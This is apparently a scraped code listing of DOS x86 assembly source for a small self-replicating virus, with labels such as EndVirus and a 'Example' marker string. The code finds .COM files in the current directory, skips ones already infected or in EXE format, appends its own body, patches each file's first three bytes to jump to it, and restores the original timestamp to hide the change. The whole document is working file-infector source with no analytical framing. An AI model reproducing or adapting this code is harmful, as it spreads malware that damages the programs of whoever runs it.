model tiny code org 100h -------------------- ------------------ Const

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
.model tiny
.code
org 100h
;--------------------------------------
Const1 = offset FreeByte - offset Start
Const2 = offset EndVirus - offset Start
Begin: call Start
;--------------------------------------
Start: cld
pop DI
mov BP,3
sub DI,BP
push DI
; -------------------------------
mov SI,DS:[100h+1]
add SI,103h
push SI
; -------------------------------
add SI,Const1
push SI
movsw
movsb
; --------------------------------
mov DX,SI
sub CX,CX
mov AH,4eh
int 21h
pop SI DI
;--------------------------------------
Next:
cmp word ptr ds:[9ah],61000
ja exit
mov DX,80h+1eh
mov AX,3d02h
int 21h
jc exit
mov BX,AX
; --------------------------------
mov DX,SI
mov CX,BP
mov AH,3fh
int 21h
; --------------------------------
cmp byte ptr ds:[si],0e8h
je close_file
cmp word ptr ds:[si],'ZM'
je close_file
mov ax,5700h
int 21h
push dx
push cx
mov AL,2
call Proc1
sub SI,BP
sub AX,BP
mov [SI+1],AX
; --------------------------------
mov DX,DI
mov CX,Const2
mov AH,40h
int 21h
; --------------------------------
mov AL,0
call Proc1
; --------------------------------
mov DX,SI
mov CX,BP
mov AH,40h
int 21h
; --------------------------------
pop cx
pop dx
mov ax,5701h
int 21h
add si,bp
close_file:
sub si,bp
mov AH,3eh
int 21h
; --------------------------------
add SI,BP
mov AH,4fh
int 21h
jnc next
;--------------------------------------
exit:
ret
db 'Example'
;--------------------------------------
Proc1:
sub DX,DX
sub CX,CX
mov AH,42h
int 21h
ret
;--------------------------------------
Jump: call Begin
FreeByte: nop
nop
ret
Fname db '*.com',0
EndVirus:
;--------------------------------------
end begin